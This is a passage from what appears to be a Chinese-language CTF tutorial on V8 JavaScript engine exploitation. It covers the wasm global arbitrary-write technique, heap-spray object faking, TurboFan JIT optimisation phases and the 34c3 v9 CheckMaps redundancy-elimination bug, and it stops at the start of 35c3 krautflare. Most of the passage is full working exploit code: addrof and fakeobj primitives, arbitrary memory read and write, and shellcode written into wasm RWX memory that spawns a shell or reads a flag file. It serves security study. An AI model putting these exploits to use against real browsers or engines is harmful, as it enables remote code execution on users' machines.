jmp = b'\xeb\x0c'
# if iss<=11: '
# else :jmp=b"\xeb\x16"
iss +=1
return u64(x.ljust(6, b'\x90') + jmp)
#orw flag.txt
# imm1 = [
# asm("mov eax,0x7478742e"), # ".txt"
# asm("push 0;shl rax,0x20"),
# asm("add rax,0x67616c66"), # "flag"
# asm("push rax"),
# asm("mov rdi, rsp; xor rsi, rsi"),
# asm("mov eax, 2"),
# asm("xor edx, edx;syscall"),
# asm("mov edi,3"),
# asm("lea rsi, [rsp-8]"),
# asm("mov edx, 0x80"),
# asm("xor eax, eax;syscall;xor edi, edi"),
# asm("mov al, 1;syscall;"),
# asm("mov al,59;syscall;")
# ]
# execve("/bin/sh", 0, 0);
# imm1 = [
# asm("push 0x67616c66"),
# asm("mov rdi, rsp; xor rsi, rsi"),
# asm("mov eax, 2"),
# asm("xor edx, edx;syscall"),
# asm("mov edi,3"),
# asm("lea rsi, [rsp-8]"),
# asm("mov edx, 0x80"),
# asm("xor eax, eax;syscall;xor edi, edi"),
# asm("mov al, 1;syscall"),
# asm("mov al,60;syscall;")
# ]
# execve("/bin/sh", {"cat", "flag", NULL}, 0);
imm1 = [
asm("mov eax,0x7478742e"),
asm("push 0;shl rax,0x20"),
asm("add rax,0x67616c66"),
asm("push rax;push 0x746163"),
asm("push 0"),
asm("lea rax, [rsp+0x10];push rax"),
asm("sub rax, 8; push rax"),
asm("mov rsi, rsp"),
asm("mov eax,0x68732f"),
asm("shl rax, 0x20"),
asm("add rax, 0x6e69622f"),
asm("push rax;mov rdi, rsp;"),
asm("mov eax, 59"),
asm("xor edx, edx;syscall"),
asm("mov rdi,rsi"),
asm("xor esi, esi"),
asm("syscall")
]
imm1 = [convert(x) for x in imm1]
for sd in imm1:
print('u2d('+str(sd)+"n"+"),")
然后使用如下脚本将生成的 shellcode 转为 浮点数。
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function get_shellcode() {
let x = [
u2d(930996577893625528n),
u2d(930873897669623914n),
u2d(930951416110253384n),
u2d(930838247832250448n),
u2d(930996698557186154n),
u2d(930925778240310600n),
u2d(930996421403378504n),
u2d(930996698562857288n),
u2d(930996079408918456n),
u2d(930996696683430216n),
u2d(930959146880009544n),
u2d(930996700016363600n),
u2d(930996077656554424n),
u2d(930996696216752689n),
]
for (let i = 0; i < x.length; i++) {
console.log(x[i] + ",")
}
}
get_shellcode();
利用 WasmInstance 的全局变量
由于这种方法在较高版本中不能使用,这里以 DiceCTF2022 memory hole 为例进行介绍。
这个题目我查到的 commit 号为 002e39e97a56a05dd200481ea04c74b8c0203acc
,虽然没有 patch 成功,但是 patch 完的部分可以正常触发漏洞。
和上一个 demo 一样,这个题目也添加了一个修改数组长度的方法,因此可以像上一题一样实现 address of 和 fake object 利用原语以及堆内任意地址读写。然而 wasm 产生的 rwx 段不在这个 v8 堆内,因此我们需一个真正的任意地址写来在 rwx 段内写 shellcode 。
wasm 可以用来实现一些的功能,比如下面这个代码就可以实现对 wasm 定义的 global 的读写。
var wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x00, 0x01, 0x7E, 0x60,
0x01, 0x7E, 0x00, 0x02, 0x0E, 0x01, 0x02, 0x6A, 0x73, 0x06, 0x67, 0x6C, 0x6F, 0x62, 0x61, 0x6C,
0x03, 0x7E, 0x01, 0x03, 0x03, 0x02, 0x00, 0x01, 0x07, 0x1B, 0x02, 0x0A, 0x67, 0x65, 0x74, 0x5F,
0x67, 0x6C, 0x6F, 0x62, 0x61, 0x6C, 0x00, 0x00, 0x0A, 0x73, 0x65, 0x74, 0x5F, 0x67, 0x6C, 0x6F,
0x62, 0x61, 0x6C, 0x00, 0x01, 0x0A, 0x0D, 0x02, 0x04, 0x00, 0x23, 0x00, 0x0B, 0x06, 0x00, 0x20,
0x00, 0x24, 0x00, 0x0B, 0x00, 0x15, 0x04, 0x6E, 0x61, 0x6D, 0x65, 0x02, 0x08, 0x02, 0x00, 0x00,
0x01, 0x01, 0x00, 0x01, 0x70, 0x07, 0x04, 0x01, 0x00, 0x01, 0x67
])
const global = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
var wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), { js: { global } });
var get_global = wasm_instance.exports.get_global;
var set_global = wasm_instance.exports.set_global;
set_global(0x114514n);
console.log(get_global());
% DebugPrint(wasm_instance);
% SystemBreak();
这介绍一下 wasm code 的生成方法:
首先编写一个能实现相应的功能的 wat 代码:
(module
(global $g (import "js" "global") (mut i64))
(func (export "get_global") (result i64) (global.get $g))
(func (export "set_global") (param $p i64) (global.set $g (local.get $p)))
)
然后在这个网站上转换为 wasm 并下载转换后的文件,下载的文件中的数据即为 wasm code 。
这里打印出 wasm_instance
发现其中的 imported_mutable_globals
是一个完整的指针并且指向指向 global
对应的内存的指针(global
的二级指针),因此可以通过堆内任意地址读写修改 imported_mutable_globals
指向一个 DoubleArray
从而实现任意地址读写。
之后的操作可以参考 OOB 。exp 如下:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
oob_array.setLength(114514);
double_array_map = d2u(oob_array[12]);
object_array_map = d2u(oob_array[8]);
console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFFn));
console.log("[*] object array map: " + hex(object_array_map & 0xFFFFFFFFn));
function offset_of(obj) {
oob_array[8] = u2d(object_array_map);
object_array[0] = obj;
oob_array[8] = u2d(double_array_map);
return d2u(object_array[0]) & 0xFFFFFFFFn;
}
function fake_object(offset) {
oob_array[12] = u2d(double_array_map);
double_array[0] = u2d(offset);
oob_array[12] = u2d(object_array_map);
return double_array[0];
}
function read(offset) {
oob_array[17] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[17]) & 0xFFFFFFFF00000000n));
return d2u(rw_array[0]);
}
function write(offset, value) {
oob_array[17] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[17]) & 0xFFFFFFFF00000000n));
rw_array[0] = u2d(value);
}
var sandbox_base = read(24n) & 0xFFFFFFFF00000000n;
console.log("[*] sandbox base: " + hex(sandbox_base));
var wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x00, 0x01, 0x7E, 0x60,
0x01, 0x7E, 0x00, 0x02, 0x0E, 0x01, 0x02, 0x6A, 0x73, 0x06, 0x67, 0x6C, 0x6F, 0x62, 0x61, 0x6C,
0x03, 0x7E, 0x01, 0x03, 0x03, 0x02, 0x00, 0x01, 0x07, 0x1B, 0x02, 0x0A, 0x67, 0x65, 0x74, 0x5F,
0x67, 0x6C, 0x6F, 0x62, 0x61, 0x6C, 0x00, 0x00, 0x0A, 0x73, 0x65, 0x74, 0x5F, 0x67, 0x6C, 0x6F,
0x62, 0x61, 0x6C, 0x00, 0x01, 0x0A, 0x0D, 0x02, 0x04, 0x00, 0x23, 0x00, 0x0B, 0x06, 0x00, 0x20,
0x00, 0x24, 0x00, 0x0B, 0x00, 0x15, 0x04, 0x6E, 0x61, 0x6D, 0x65, 0x02, 0x08, 0x02, 0x00, 0x00,
0x01, 0x01, 0x00, 0x01, 0x70, 0x07, 0x04, 0x01, 0x00, 0x01, 0x67
])
const global = new WebAssembly.Global({ value: 'i64', mutable: true }, 0n);
var wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), { js: { global } });
var get_global = wasm_instance.exports.get_global;
var set_global = wasm_instance.exports.set_global;
imported_mutable_globals = [.1];
var imported_mutable_globals_addr = sandbox_base + offset_of(imported_mutable_globals) - 0x9n;
console.log("[*] imported_mutable_globals: " + hex(imported_mutable_globals_addr));
write(offset_of(wasm_instance) + 0x50n, imported_mutable_globals_addr);
function arbitrary_address_read(addr) {
imported_mutable_globals[0] = u2d(addr);
return get_global();
}
function arbitrary_address_write(addr, value) {
imported_mutable_globals[0] = u2d(addr);
set_global(value);
}
let wasm_code2 = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_instance2 = new WebAssembly.Instance(new WebAssembly.Module(wasm_code2));
let f = wasm_instance2.exports.main;
var rwx_mem_addr = arbitrary_address_read(sandbox_base + offset_of(wasm_instance2) - 1n + 0x60n);
console.log("[*] rwx mem addr: " + hex(rwx_mem_addr));
var shellcode = [
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
]
for (let i = 0; i < shellcode.length; i++) {
arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}
f();
堆喷伪造对象
指针压缩下的通用堆喷技术,效果为:获取一个低 4 字节固定的对象
v8 堆块管理结构
一般而言,V8 中的 Heap Object 都分配在 4GB 堆空间的 rw-
页面上。在堆块页面的起始部分,有一段空间是用来存储堆块的元信息的,在 V8 的堆结构中有 0x2118
字节(具体看版本)用来存储堆结构相关信息。
其中关键字段解释如下:
0x0000000000040000
:堆大小。0x00000be508042118
:堆的起始地址。0x00000be508080000
:堆指针,表示该堆已经被使用到哪了,即现在堆指针指向 0xbe508080000 。0x000000000003dee8
: 已经被使用的 size , 0x3dee8 + 0x2118 = 0x40000 。0x0000000000002118
:堆头大小。
如果这个时候,我申请一个 0xf700
大小的数组。如果开启指针压缩,一个地址4字节,那么就是需要 0xf700 * 4 + 0x2118 = 0x3fd18
,再对齐一下,那么就是0x40000
大小的堆。
a = Array(0xf700);
% DebugPrint(a);
% SystemBreak();
elements
字段地址为 0x559081c0000+ 0x80000 + 0x2118 + 0x1 = 0x055908242119
。在启动指针压缩时,在堆中储存的地址为 4 字节,而根据上述堆的特性,我们能确定低 2 字节为 0x2119
,而一般情况下其高 2 字节也是不变的,所以这里其实 4 字节都已经确认的。
还有一个比较重要的点是,该 FixedArray
是一个大对象,其是不受 gc
影响的,所以这里的效果就是获取一个已经地址的内容可控的内存区域。
任意地址对象伪造
如果存在任意地址对象伪造漏洞(fake_object
原语),则我们可以在一个大的 DoubleArray
中伪造一个 DoubleArray
然后实现 offset_of
,arbitrary_offset_read
,arbitrary_offset_write
原语。
首先我们先创建一个大的 DoubleArray
并在里面伪造一个 DoubleArray
。
这里需要注意的是:通过调试可知,我们只需要伪造 map
的前 16 字节即可。而 map
的前 16 字节基本是不变的。
let spray_array = new Array(0xf700).fill(1.1);
let spray_array_data_offset = 0x00202141n + 7n; // spray_array 的 element 中成员的起始地址
let map_offset = spray_array_data_offset + 0x1000n; // 伪造的 map 在沙箱中的偏移
let fake_double_array_offset = map_offset + 0x1000n; // 伪造的 fake_double_array 在沙箱中的偏移
// 伪造 fake_double_array 的 map ,这里只需要伪造前 16 字节。
spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n);
spray_array[(map_offset - spray_array_data_offset) / 8n + 1n] = u2d(0xa0007ff1100083an);
// fake_double_array 的 map 指针指向伪造的 map
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));
// 利用任意地址对象伪造漏洞(fake_object)泄露出 fake_double_array
let fake_double_array = trigger(fake_double_array_offset | 1n);
offset_of
原语实现:我们只需要再申请一个大的 ObjectArray
(我们称之为 spray_object_array
)然后让伪造的 DoubleArray
的 elements
指针指向 spray_object_array
的 elements
(elements
在沙箱内偏移固定)造成类型混淆。
let spray_object_array = new Array(0xf700).fill({});
let object_array_element_offset = 0x00282141n;
function offset_of(object) {
// 将 object 添加到 spray_object_array 的 elements 中
spray_object_array[0] = object;
// fake_double_array 的 elements 指针指向 spray_object_array 的 elements
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n));
// 从 fake_double_array 读出 object 在沙箱中的偏移
return d2u(fake_double_array[0]) & 0xFFFFFFFFn;
}
arbitrary_offset_read
和 arbitrary_offset_write
原语实现:直接通过 apray_array
修改 elements
然后读写 fake_double_array
实现。
function arbitrary_offset_read(address) {
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
return d2u(fake_double_array[0]);
}
function arbitrary_offset_write(address, value) {
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n + 1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
fake_double_array[0] = u2d(value);
JustinTimeCompiler
预测优化
Javascript是弱类型,函数参数的类型无法再翻译时确定,但是每一个函数调用,传进来的实参都有一个确定的类型,因此这个信息收集起来用来优化函数。
- Feedback Vector,收集参数类型
- Feedback 的变化遵循格的规律,不可逆。
工作原理
Sea of Nodes
基本概念
SSA(static single assignment)
这个是 IR 的一个属性。如果一套 IR 里面,规定了所有的变量一定被且只被赋值一次,且所有的变量在使用之前都保证被定义
var a = 0;
a = (a + 2) * 3;
b = a + 2;
普通的 IR
v_a = 0
v_a = v_a + 2
v_a = v_a * 3
v_b = v_a + 2
SSA 的 IR
v_a0 = 0
v_a1 = v_a0 + 2
v_a2 = v_a1 * 3
v_b = v_a2 + 2
CFG(Control Flow Graph)
控制流图是一个有向图,它的每一个结点由一个或多个指令转成。结点保证了只有在最后一条指令才能发生跳转,其他在结点里的所有指令都不会发生跳转。
DFG(Data Flow Graph)
数据流图则刻画了操作之前的数据依赖关系。图里的每一个结点都表示了一个操作,如果一个操作结点的结果被其他操作结点所使用,那么它们在数据流图里就会存在一条边。
依赖
CFG 和 DFG 从不同的层面刻画了程序。它们有交集的地方。控制流中还有一定的数据流,数据流中含有一定的控制流。直接去操纵这两者进行优化,问题会变得复杂且容易出错。
在 JIT 中依赖有数据依赖、Effect依赖和控制依赖 3 种。
数据依赖
所有的计算操作都被刻画成图的结点
没有控制流图那种严格的执行顺序,而是根据依赖关系,符合拓扑排序的所有顺序都是满足条件
Effect依赖
保证图中数据的读写顺序和源程序是一致的
控制依赖
规定了程序执行的顺序,但是比常规的 CFG 要宽松。
操作符的特例化
在 Sea of nodes 里面,操作符有三种级别,分别是 Javascript
,Intermediate
,以及 mahine
。从上往下分别是从抽象到具体,越往下就表示越优化。
JIT常见优化
Type and Range Analysis
对数据的类型和范围进行分析能促进很多优化,比如bound check的去除。当操作数为两个带有 type 和 range 的结点,输出结果也往往带着 type 和 range ,且 range 是根据两个操作数的 range 和操作符进行结合。
规约(Reduction)
常量折叠(constant folding)
常量折叠就是当编译器判断出一个操作的结果恒为常量时,他就会把这个操作直接用其结果进行替代。
强度折减(strength reduction)
强度折减将昂贵的运算以相同但是相对便宜的运算取代。比如用加法替代乘法,用左右移替代乘除法。
Typed Lowering
Typed Lowering利用运行信息如变量类型将操作具体化,减少抽象度。
Global Value Numbering
本质上就是尽可能多的进行等价替代,减少重复计算。
控制优化
Inline
inline 是把一些函数调用直接替换成函数执行体。
Escape Analysis
决定一个对象的作用域是否被限制在当前的函数中。在 v8 中,它能减少在堆中分配对象的次数。
V8流水线
具体看 v8/src/compiler/pipeline.cc
- bytecode graph builder (GraphBuilderPhase)
- 建图,js 代码生成 sea of nodes
- inlining
- 删除不会执行的代码
- 函数内联,例如把
JSCall
(MathExpm1
) 替换为NumberExpm1
- 删除死节点到活节点的边
- Typer
- 将每个节点打上标签,例如数据范围和数据类型,并且计算的数据范围在接下来的所有阶段中都不会改变,也就是说接下里所有阶段的数据范围都继承自 typer 阶段
- typered lowering
- 删除不会执行的代码。
- 常量折叠,例如
1 + 1
替换为2
。 - 类型优化,例如根据传入的一个参数始终为
-1
将SameValue
替换为ObjectIsMinusZero
。 - 根据 typer 阶段的预测值,预测 samevalue 的返回值,如果一定返回 true 或者 false ,就把 samevalue 替换成 true 或者 false 。
- loop peeling
貌似没啥用,所以导致 typered lowering 和 load elimination 阶段效果相似。 - load elimination
包含 RedundancyElimination ,根据 typer 阶段的预测值,预测 samevalue 的返回值,如果一定返回 true 或者 false,就把 samevalue 替换成 true 或者 false 。如果被优化的函数中,定义了全局的 array(前面不加 var 和 let),则根据定义的 array 中元素个数,把 checkbound 节点(checkbound 节点来源于对 array 的读写操作)的第二个输入从 loadfield 替换成“ array 中元素个数”这个常量。一般我们想要越界读写 array 都要去掉 checkbound 节点,触发“ simplified lowering 阶段去掉 checkbound 节点”优化前需要先触发“ load elimination 阶段”的这个优化。另外触发的函数的越界数组必须定义在函数内部,不能是全局的,否则 v8 无法确定数组中的元素个数。 - escape analysis
把属性的值从对象中取出来。LoadField
从JSObject
获取属性,如果获取的属性值确定,就把LoadField 替换成属性值。根据目前遇到的题目来看,escape analysis 对于不能 inline 的库函数的返回结果和另一个对象的属性进行比较之类的操作的时候会在这个阶段将属性的值从对象中取出来,否则如果有优化空间会在前一步的 load elimination 阶段将属性的值从对象中取出来同时根据预测的结果优化为常量。
- simplified lowering
尝试对 samevalue 进行降级,因此会参考 samevalue 的两个输入预测 samevalue 的返回值,并影响后续节点的预测(但是range都没有改变)。并不会把 samevalue 替换成 true 或者 false 。根据访问范围是否始终在 Array 内决定是否去掉 CheckBounds 。
例题:34c3 v9
环境搭建
mkdir v8 && cd v8
fetch v8 && cd v8
git checkout 7.6.303.28
gclient sync
git clone https://github.com/saelo/v9.git
patch -p1 < v9/v9_7.2.patch
./tools/dev/gm.py x64.release
漏洞分析
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index b91b82e766..02c1e71203 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -26,6 +26,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNotTaggedHole:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
@@ -158,8 +159,8 @@ bool CheckSubsumes(Node const* a, Node const* b) {
case IrOpcode::kCheckedUint32ToInt32:
case IrOpcode::kCheckedUint32ToTaggedSigned:
case IrOpcode::kCheckedUint64Bounds:
- case IrOpcode::kCheckedUint64ToInt32:
case IrOpcode::kCheckedUint64ToTaggedSigned:
+ case IrOpcode::kCheckedUint64ToInt32:
break;
case IrOpcode::kCheckedFloat64ToInt32:
case IrOpcode::kCheckedFloat64ToInt64:
@@ -188,6 +189,15 @@ bool CheckSubsumes(Node const* a, Node const* b) {
}
break;
}
+ case IrOpcode::kCheckMaps: {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
+ break;
+ }
default:
DCHECK(!IsCheckedWithFeedback(a->op()));
return false;
分析 diff 文件,发现增加了 kCheckMaps
的 reduce 优化,这个优化的作用是合并两个 kCheckMaps
操作,而合并的条件是前一个 kCheckMaps
的判断条件包含了后一个 kCheckMaps
的全部判断条件。
bool CheckSubsumes(Node const* a, Node const* b) {
...
switch (a->opcode()) {
...
case IrOpcode::kCheckMaps: {
// CheckMaps are compatible if the first checks a subset of the second.
ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
if (!b_maps.contains(a_maps)) {
return false;
}
break;
}
...
return true;
}
Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
for (Check const* check = head_; check != nullptr; check = check->next) {
if (CheckSubsumes(check->node, node) && TypeSubsumes(node, check->node)) {
DCHECK(!check->node->IsDead());
return check->node;
}
}
return nullptr;
}
Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// See if we have another check that dominates us.
if (Node* check = checks->LookupCheck(node)) {
ReplaceWithValue(node, check);
return Replace(check);
}
// Learn from this check.
return UpdateChecks(node, checks->AddCheck(zone(), node));
}
Reduction RedundancyElimination::Reduce(Node* node) {
if (node_checks_.Get(node)) return NoChange();
switch (node->opcode()) {
...
case IrOpcode::kCheckMaps:
...
return ReduceCheckNode(node);
因此如果两次 kCheckMaps
之间如果一直没有修改 map
那么经过 JIT 优化后后一个 kCheckMaps
会被去除,而此时如果修改了 map
则由于缺少对 map
的检查导致类型混淆。
poc 如下:
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function address_of(obj) {
let a = [.1];
function trigger(callback) {
// Generate first MapCheck
a[0];
// This callback could change the Map ...
callback();
// ... but this MapCheck will still be removed ¯\_(ツ)_/¯
return a[0];
}
function evil_callback() {
a[0] = obj;
}
for (var i = 0; i < 100000; i++) {
trigger(() => { });
}
return d2u(trigger(evil_callback));
}
print(hex(address_of(array_buffer)));
% DebugPrint(array_buffer);
首先定位 kCheckMaps
所在的优化的阶段。
选择最早的优化阶段,最终确定是在 V8.TFLoadElimination
阶段调用的此优化。
struct LoadEliminationPhase {
static const char* phase_name() { return "V8.TFLoadElimination"; }
...
RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone);
...
AddReducer(data, &graph_reducer, &redundancy_elimination);
...
graph_reducer.ReduceGraph();
}
};
观察 kCheckMaps
优化前后 trigger
函数的变化。
在 kCheckMaps
优化前,有两处 CheckMaps
操作,一个在 a[0];
前,另一个在 return a[0];
前。
kCheckMaps
优化后,第二处 CheckMaps
操作被优化掉,这是因为 kCheckMaps
优化认为第一次 CheckMaps
检查的条件包含了第二次 CheckMaps
检查的条件,所以可以去掉。
然而两次 kCheckMaps
之间调用 callback
函数会修改 map
属性,浮点数数组变为 object 数组,然而在 trigger
函数中依然认为这个数组是浮点数数组,因此可以造成类型混淆,从而实现 address of 利用原语。
同理,fake object 原语也可以实现。
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function address_of(obj) {
let a = [.1];
function trigger(callback) {
// Generate first MapCheck
a[0];
// This callback could change the Map ...
callback();
// ... but this MapCheck will still be removed ¯\_(ツ)_/¯
return a[0];
}
function evil_callback() {
a[0] = obj;
}
for (var i = 0; i < 100000; i++) {
trigger(() => { });
}
return d2u(trigger(evil_callback));
}
function fake_object(addr) {
let a = [.1];
function trigger(callback) {
// Generate first MapCheck
a[0];
// This callback could change the Map ...
callback();
// ... but this MapCheck will still be removed ¯\_(ツ)_/¯
a[0] = addr;
}
function evil_callback() {
a[0] = {};
}
for (var i = 0; i < 100000; i++) {
trigger(() => { });
}
trigger(evil_callback);
return a[0];
}
var obj = fake_object(u2d(address_of(array_buffer)));
% DebugPrint(obj);
漏洞利用
前面漏洞分析已经构造出 address of 和 fake object 两个利用原语,因此后续利用和前面的 OOB 一致。不过需要注意的是, address_of
函数在用过一次之后已经被 JIT 了,后续如果用到这个函数需要再定义一个。
function gc() {
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function address_of1(obj) {
let a = [.1];
function trigger(callback) {
// Generate first MapCheck
a[0];
// This callback could change the Map ...
callback();
// ... but this MapCheck will still be removed ¯\_(ツ)_/¯
return a[0];
}
function evil_callback() {
a[0] = obj;
}
for (var i = 0; i < 100000; i++) {
trigger(() => { });
}
return d2u(trigger(evil_callback));
}
function address_of2(obj) {
let a = [.1];
function trigger(callback) {
// Generate first MapCheck
a[0];
// This callback could change the Map ...
callback();
// ... but this MapCheck will still be removed ¯\_(ツ)_/¯
return a[0];
}
function evil_callback() {
a[0] = obj;
}
for (var i = 0; i < 100000; i++) {
trigger(() => { });
}
return d2u(trigger(evil_callback));
}
function fake_object(addr) {
let a = [.1];
function trigger(callback) {
// Generate first MapCheck
a[0];
// This callback could change the Map ...
callback();
// ... but this MapCheck will still be removed ¯\_(ツ)_/¯
a[0] = u2d(addr);
}
function evil_callback() {
a[0] = {};
}
for (var i = 0; i < 100000; i++) {
trigger(() => { });
}
trigger(evil_callback);
return a[0];
}
ab = new ArrayBuffer(0x1000);
gc();
var fake_ab_mem = [
u2d(0n), // Map
u2d(0n), // Propertries
u2d(0n), // Elements
u2d(0x1000n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042317080808n), // type
];
gc();
var fake_ab_addr = address_of1(fake_ab_mem) + 0x30n;
fake_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fake_object(fake_ab_addr);
var dv = new DataView(fake_ab);
function arbitrary_address_read(address) {
fake_ab_mem[4] = u2d(address);
return dv.getBigUint64(0, true);
}
function arbitrary_address_write(address, value) {
fake_ab_mem[4] = u2d(address);
return dv.setBigUint64(0, value, true);
}
print("fake ab addr: "+hex(fake_ab_addr));
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
var rwx_mem_addr = arbitrary_address_read(address_of2(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));
var shellcode = [
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
]
for (let i = 0; i < shellcode.length; i++) {
arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}
f();
例题:35c3 krautflare
环境搭建
git clone https://github.com/sroettger/35c3ctf_chals
mv 35c3ctf_chals/krautflare .
cd v8
git checkout dde25872f58951bb0148cf43d6a504ab2f280485
git apply ../../test/krautflare/attachments/revert-bugfix-880207.patch
gclient sync
tools/dev/gm.py x64.release
漏洞分析
题目主要 patch 了优化的 Typer 阶段:
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
+ case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
- case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
case BuiltinFunctionId::kMathLog:
case BuiltinFunctionId::kMathLog1p:
原本 Typer 阶段预测 kMathExpm1
的返回值类型是 Type::Number()
,经过 patch 之后现在变成了 Type::PlainNumber()
或 Type::NaN()
。
在 src/compiler/types.h
中定义了各种数字类型的范围:
ON OS32 N31 U30 OU31 OU32 ON
______[_______[_______[_______[_______[_______[_______
-2^31 -2^30 0 2^30 2^31 2^32
